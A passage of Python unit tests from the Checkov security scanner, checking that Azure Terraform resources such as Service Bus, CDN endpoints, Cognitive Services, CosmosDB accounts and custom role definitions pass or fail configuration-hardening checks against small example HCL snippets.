TestAzureServicebusIdentityProviderEnabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusIdentityProviderEnabled" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusLocalAuthDisabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusLocalAuthDisabled import check from checkov.terraform.runner import Runner class TestAzureServicebusLocalAuthDisabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusLocalAuthDisabled" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", "azurerm_servicebus_namespace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusMinTLSVersion.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusMinTLSVersion import check from checkov.terraform.runner import Runner class TestAzureServicebusMinTLSVersion(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusMinTLSVersion" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", "azurerm_servicebus_namespace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureServicebusPublicAccessDisabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureServicebusPublicAccessDisabled import check from checkov.terraform.runner import Runner class TestAzureServicebusPublicAccessDisabled(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_AzureServicebusPublicAccessDisabled" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_servicebus_namespace.pass", } failing_resources = { "azurerm_servicebus_namespace.fail", "azurerm_servicebus_namespace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureSparkPoolIsolatedComputeEnabled.py ================================================ import logging import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureSparkPoolIsolatedComputeEnabled import check class TestAzureSparkPoolIsolatedComputeEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureSparkPoolIsolatedComputeEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() logging.warning(f"summary: {summary}") passing_resources = { 'azurerm_synapse_spark_pool.pass' } failing_resources = { 'azurerm_synapse_spark_pool.fail', 'azurerm_synapse_spark_pool.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CDNDisableHttpEndpoints.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.CDNDisableHttpEndpoints import check from checkov.terraform.runner import Runner class TestCDNDisableHttpEndpoints(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CDNDisableHttpEndpoints" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cdn_endpoint.pass", } failing_resources = { "azurerm_cdn_endpoint.fail", "azurerm_cdn_endpoint.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CDNEnableHttpsEndpoints.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.CDNEnableHttpsEndpoints import check from checkov.terraform.runner import Runner class TestCDNEnableHttpsEndpoints(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CDNEnableHttpsEndpoints" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cdn_endpoint.pass", "azurerm_cdn_endpoint.pass2", } failing_resources = { "azurerm_cdn_endpoint.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CDNTLSProtocol12.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.CDNTLSProtocol12 import check from checkov.terraform.runner import Runner class TestCDNTLSProtocol12(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CDNTLSProtocol12" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cdn_endpoint_custom_domain.pass", "azurerm_cdn_endpoint_custom_domain.pass2", "azurerm_cdn_endpoint_custom_domain.pass3", } failing_resources = { "azurerm_cdn_endpoint_custom_domain.fail", "azurerm_cdn_endpoint_custom_domain.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CognitiveServicesConfigureIdentity.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.CognitiveServicesConfigureIdentity import check from checkov.terraform.runner import Runner class TestCognitiveServicesConfigureIdentity(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CognitiveServicesConfigureIdentity" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cognitive_account.pass", } failing_resources = { "azurerm_cognitive_account.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CognitiveServicesDisablesPublicNetwork.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.CognitiveServicesDisablesPublicNetwork import check from checkov.common.models.enums import CheckResult class TestCognitiveServicesDisablesPublicNetwork(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_cognitive_account" "examplea" { name = "example-account" location = var.resource_group.location resource_group_name = var.resource_group.name kind = "Face" public_network_access_enabled = true sku_name = "S0" } """) resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_missing_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_cognitive_account" "examplea" { name = "example-account" location = var.resource_group.location resource_group_name = var.resource_group.name kind = "Face" sku_name = "S0" } """) resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_cognitive_account" "examplea" { name = "example-account" location = var.resource_group.location resource_group_name = var.resource_group.name kind = "Face" public_network_access_enabled = false sku_name = "S0" } """) resource_conf = hcl_res['resource'][0]['azurerm_cognitive_account']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CognitiveServicesEnableLocalAuth.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.CognitiveServicesEnableLocalAuth import check from checkov.terraform.runner import Runner class TestCognitiveServicesEnableLocalAuth(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CognitiveServicesEnableLocalAuth" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_cognitive_account.pass", } failing_resources = { "azurerm_cognitive_account.fail", "azurerm_cognitive_account.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CosmosDBAccountsRestrictedAccess.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.CosmosDBAccountsRestrictedAccess import check from checkov.common.models.enums import CheckResult class TestCosmosDBAccountsRestrictedAccess(unittest.TestCase): def test_failure_public_access_default(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" is_virtual_network_filter_enabled = true enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_public_access_vn_filter(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = true is_virtual_network_filter_enabled = false enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_vn_filter_false(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" is_virtual_network_filter_enabled = false enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_vm_filter_false_with_vn_rule(self): hcl_res = hcl2.loads(""" resource "azurerm_firewall_network_rule_collection" "example" { name = "testcollection" azure_firewall_name = azurerm_firewall.example.name resource_group_name = azurerm_resource_group.example.name priority = 100 action = "Allow" rule { name = "testrule" source_addresses = [ "10.0.0.0/16", ] destination_ports = [ "53", ] destination_addresses = [ "8.8.8.8", "8.8.4.4", ] protocols = [ "TCP", "UDP", ] } } resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" is_virtual_network_filter_enabled = false virtual_network_rule = azurerm_firewall_network_rule_collection.example enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_public_access_with_ip_range(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = true ip_range_filter = ["192.0.0.1"] enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_no_public_access(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = false enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_vm_filter_with_vm_rule(self): hcl_res = hcl2.loads(""" resource "azurerm_firewall_network_rule_collection" "example" { name = "testcollection" azure_firewall_name = azurerm_firewall.example.name resource_group_name = azurerm_resource_group.example.name priority = 100 action = "Allow" rule { name = "testrule" source_addresses = [ "10.0.0.0/16", ] destination_ports = [ "53", ] destination_addresses = [ "8.8.8.8", "8.8.4.4", ] protocols = [ "TCP", "UDP", ] } } resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" is_virtual_network_filter_enabled = true virtual_network_rule = azurerm_firewall_network_rule_collection.example enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_no_public_access_with_vn_filter(self): hcl_res = hcl2.loads(""" resource "azurerm_firewall_network_rule_collection" "example" { name = "testcollection" azure_firewall_name = azurerm_firewall.example.name resource_group_name = azurerm_resource_group.example.name priority = 100 action = "Allow" rule { name = "testrule" source_addresses = [ "10.0.0.0/16", ] destination_ports = [ "53", ] destination_addresses = [ "8.8.8.8", "8.8.4.4", ] protocols = [ "TCP", "UDP", ] } } resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = false is_virtual_network_filter_enabled = true virtual_network_rule = azurerm_firewall_network_rule_collection.example enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_vn_filter_ip_range(self): hcl_res = hcl2.loads(""" resource "azurerm_firewall_network_rule_collection" "example" { name = "testcollection" azure_firewall_name = azurerm_firewall.example.name resource_group_name = azurerm_resource_group.example.name priority = 100 action = "Allow" rule { name = "testrule" source_addresses = [ "10.0.0.0/16", ] destination_ports = [ "53", ] destination_addresses = [ "8.8.8.8", "8.8.4.4", ] protocols = [ "TCP", "UDP", ] } } resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" is_virtual_network_filter_enabled = true ip_range_filter = ["192.0.0.1"] enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][1]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CosmosDBDisableAccessKeyWrite.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.CosmosDBDisableAccessKeyWrite import check from checkov.common.models.enums import CheckResult class TestCosmosDBDisableAccessKeyWrite(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location access_key_metadata_writes_enabled = false } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CosmosDBDisablesPublicNetwork.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.CosmosDBDisablesPublicNetwork import check from checkov.common.models.enums import CheckResult class TestCosmosDBHaveCMK(unittest.TestCase): def test_failure_missing_attribute(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = true enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } key_vault_key_id = "A versionless Key Vault Key ID for CMK encryption" } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_cosmosdb_account" "db" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" public_network_access_enabled = false enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } key_vault_key_id = "A versionless Key Vault Key ID for CMK encryption" } """) resource_conf = hcl_res['resource'][0]['azurerm_cosmosdb_account']['db'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CosmosDBHaveCMK.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.CosmosDBHaveCMK import check class TestCosmosDBHaveCMK(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_CosmosDBHaveCMK") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_cosmosdb_account.pass' } failing_resources = { 'azurerm_cosmosdb_account.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CosmosDBLocalAuthDisabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.CosmosDBLocalAuthDisabled import check class TestCosmosDBLocalAuthDisabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_CosmosDBLocalAuthDisabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_cosmosdb_account.pass' } failing_resources = { 'azurerm_cosmosdb_account.fail', 'azurerm_cosmosdb_account.fail2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_CustomRoleDefinitionSubscriptionOwner.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.CutsomRoleDefinitionSubscriptionOwner import check from checkov.common.models.enums import CheckResult class TestCustomRoleDefinitionSubscriptionOwner(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_role_definition" "example" { name = "my-custom-role" scope = data.azurerm_subscription.primary.id description = "This is a custom role created via Terraform" permissions { actions = ["*"] not_actions = [] } assignable_scopes = [ data.azurerm_subscription.primary.id ] } """) resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_role_definition" "example" { name = "my-custom-role" scope = data.azurerm_subscription.primary.id description = "This is a custom role created via Terraform" permissions { actions = ["*"] not_actions = [] } assignable_scopes = [ "/" ] } """) resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_role_definition" "example" { name = "my-custom-role" scope = data.azurerm_subscription.primary.id description = "This is a custom role created via Terraform" permissions { actions = [ "Microsoft.Authorization/*/read", "Microsoft.Insights/alertRules/*", "Microsoft.Resources/deployments/write", "Microsoft.Resources/subscriptions/operationresults/read", "Microsoft.Resources/subscriptions/read", "Microsoft.Resources/subscriptions/resourceGroups/read", "Microsoft.Support/*" ] not_actions = [] } assignable_scopes = [ data.azurerm_subscription.primary.id ] } """) resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_no_assignable_scopes(self): hcl_res = hcl2.loads(""" resource "azurerm_role_definition" "example" { name = "my-custom-role" scope = data.azurerm_subscription.primary.id description = "This is a custom role created via Terraform" permissions { actions = ["*"] not_actions = [] } } """) resource_conf = hcl_res['resource'][0]['azurerm_role_definition']['example'] 